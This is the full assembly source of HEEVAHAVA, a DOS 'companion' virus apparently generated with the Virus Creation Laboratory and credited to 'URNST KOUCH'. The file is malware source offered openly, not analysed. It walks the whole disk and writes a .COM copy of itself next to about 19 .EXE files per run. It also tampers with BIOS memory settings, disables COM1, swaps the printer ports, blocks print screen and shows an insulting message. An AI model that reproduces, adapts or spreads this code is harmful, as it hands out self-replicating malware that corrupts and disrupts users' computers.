; HEEVAHAV.ASM -- HEEVAHAVA VIRUS ; Created with Nowhere Man's Virus Creation Laboratory v1.00/TASM ; Written by URNST KOUCH ; This is a spawning virus I decided to take to the limit, ; to step on the accelerator of the VCL, so to speak. ; HEEVAHAVA virus is a 'companion' .EXE infector which will attempt ; to infect almost 20 files anywhere on the disk every run. It will mess ; with low RAM, beep the speaker, disable COM port 1, entangle LPT1 and LPT2, ; nullify print screen and finally, when the disk is completely saturated ; with HEEVAHAVA virus it will display the msg, "Only heeva-hava's get stuck ; with the HEEVAHAVA virus!" Note: a 'heevahava' is a Pennsylvania ; Dutch pejorative. Colloquially, it was the name given to the farmhand ; given the job of holding the bull's pecker while semen was collected. virus_type equ 2 ; Spawning Virus is_encrypted equ 0 ; We're not encrypted tsr_virus equ 0 ; We're not TSR code segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h start label near main proc near mov ah,04Ah ; DOS resize memory function mov bx,[finish - start / 0282h] ; BX holds # of para. int 21h mov sp,(finish - start) + 01100h ; Change top of stack mov si,offset spawn_name ; SI points to true filename int 02Eh ; DOS execution back-door push ax ; Save return value for later mov ax,cs ; AX holds code segment mov ds,ax ; Restore data segment mov es,ax ; Restore extra segment mov cx,0013h ; Do 19 infections search_loop: push cx ; Save CX call search_files ; Find and infect a file pop cx ; Restore CX loop search_loop ; Repeat until CX is 0 mov dx,0064h ; First argument is 100 push es ; Save ES mov ax,040h ; Set extra segment to 040h mov es,ax ; (ROM BIOS) mov word ptr es:[013h],dx ; Store new RAM ammount pop es ; Restore ES mov cx,0005h ; First argument is 5 jcxz beep_end ; Exit if there are no beeps mov ax,0E07h ; BIOS display char., BEL beep_loop: int 010h ; Beep loop beep_loop ; Beep until --CX = 0 beep_end: push es ; Save ES mov ax,050h ; Set the extra segement to mov es,ax ; the BIOS area mov byte ptr [0000h],1 ; Set print screen flag to pop es ; "printing," restore ES mov si,0001h ; First argument is 1 push es ; Save ES xor ax,ax ; Set the extra segment to mov es,ax ; zero (ROM BIOS) shl si,1 ; Convert to word index mov word ptr [si + 03FEh],0 ; Zero COM port address pop es ; Restore ES mov bx,0001h ; First argument is 1 mov si,0002h ; Second argument is 2 push es ; Save ES xor ax,ax ; Set the extra segment to mov es,ax ; zero (ROM BIOS) shl bx,1 ; Convert to word index shl si,1 ; Convert to word index mov ax,word ptr [bx + 0407h]; Zero COM port address xchg word ptr [si + 0407h],ax; Put first value in second, mov word ptr [bx + 0407h],ax; and second value in first! pop es ; Restore ES call infected_all or ax,ax ; Did the function return zero? je strt00 ; If equal, do effect jmp end00 ; Otherwise skip over it strt00: mov si,offset data00 ; SI points to data mov ah,0Eh ; BIOS display char. function display_loop: lodsb ; Load the next char. into AL or al,al ; Is the character a null? je disp_strnend ; If it is, exit int 010h ; BIOS video interrupt jmp short display_loop ; Do the next character disp_strnend: end00: pop ax ; AL holds return value mov ah,04Ch ; DOS terminate function int 021h main endp search_files proc near push bp ; Save BP mov bp,sp ; BP points to local buffer sub sp,64 ; Allocate 64 bytes on stack mov ah,047h ; DOS get current dir function xor dl,dl ; DL holds drive # (current) lea si,[bp - 64] ; SI points to 64-byte buffer int 021h mov ah,03Bh ; DOS change directory function mov dx,offset root ; DX points to root directory int 021h call traverse ; Start the traversal mov ah,03Bh ; DOS change directory function lea dx,[bp - 64] ; DX points to old directory int 021h mov sp,bp ; Restore old stack pointer pop bp ; Restore BP ret ; Return to caller root db "\",0 ; Root directory search_files endp traverse proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first function mov cx,00010000b ; CX holds search attributes mov dx,offset all_files ; DX points to "*.*" int 021h jc leave_traverse ; Leave if no files present check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? jne another_dir ; If not, try again cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? je another_dir ;If so, keep going mov ah,03Bh ; DOS change directory function lea dx,[bp - 98] ; DX points to new directory int 021h call traverse ; Recursively call ourself pushf ; Save the flags mov ah,03Bh ; DOS change directory function mov dx,offset up_dir ; DX points to parent directory int 021h popf ; Restore the flags jnc done_searching ; If we infected then exit another_dir: mov ah,04Fh ; DOS find next function int 021h jnc check_dir ; If found check the file leave_traverse: mov dx,offset exe_mask ; DX points to "*.EXE" call find_files ; Try to infect a file done_searching: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller up_dir db "..",0 ; Parent directory name all_files db "*.*",0 ; Directories to search for exe_mask db "*.EXE",0 ; Mask for all .EXE files traverse endp find_files proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack push dx ; Save file mask mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes pop dx ; Restore file mask find_a_file: int 021h jc done_finding ; Exit if no files found call infect_file ; Infect the file! jnc done_finding ; Exit if no error mov ah,04Fh ; DOS find next file function jmp short find_a_file ; Try finding another file done_finding: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller find_files endp infect_file proc near mov ah,02Fh ; DOS get DTA address function int 021h mov di,bx ; DI points to the DTA lea si,[di + 01Eh] ; SI points to file name mov dx,si ; DX points to file name, too mov di,offset spawn_name + 1; DI points to new name xor ah,ah ; AH holds character count transfer_loop: lodsb ; Load a character or al,al ; Is it a NULL? je transfer_end ; If so then leave the loop inc ah ; Add one to the character count stosb ; Save the byte in the buffer jmp short transfer_loop ; Repeat the loop transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count mov byte ptr [di],13 ; Make CR the final character mov di,dx ; DI points to file name xor ch,ch ; mov cl,ah ; CX holds length of filename mov al,'.' ; AL holds char. to search for repne scasb ; Search for a dot in the name mov word ptr [di],'OC' ; Store "CO" as first two bytes mov byte ptr [di + 2],'M' ; Store "M" to make "COM" mov byte ptr [set_carry],0 ; Assume we'll fail mov ax,03D00h ; DOS open file function, r/o int 021h jnc infection_done ; File already exists, so leave mov byte ptr [set_carry],1 ; Success -- the file is OK mov ah,03Ch ; DOS create file function mov cx,00100111b ; CX holds file attributes (all) int 021h xchg bx,ax ; BX holds file handle mov ah,040h ; DOS write to file function mov cx,finish - start ; CX holds virus length mov dx,offset start ; DX points to start of virus int 021h mov ah,03Eh ; DOS close file function int 021h infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed ret ; Return to caller spawn_name db 12,12 dup (?),13 ; Name for next spawn set_carry db ? ; Set-carry-on-exit flag infect_file endp infected_all proc near #if virus_type eq 0 mov al,byte ptr [di + set_carry] else mov al,byte ptr [set_carry] ; AX holds success value #endif cbw ; Sign-extend AL into AX ret ; Return to caller infected_all endp data00 db 7,7,7,7,"Only heeva-hava's get stuck with THE HEEVAHAVA virus!",13,10,0 vcl_marker db "HEEVA[VCL]",0 ; VCL creation marker finish label near code ends end main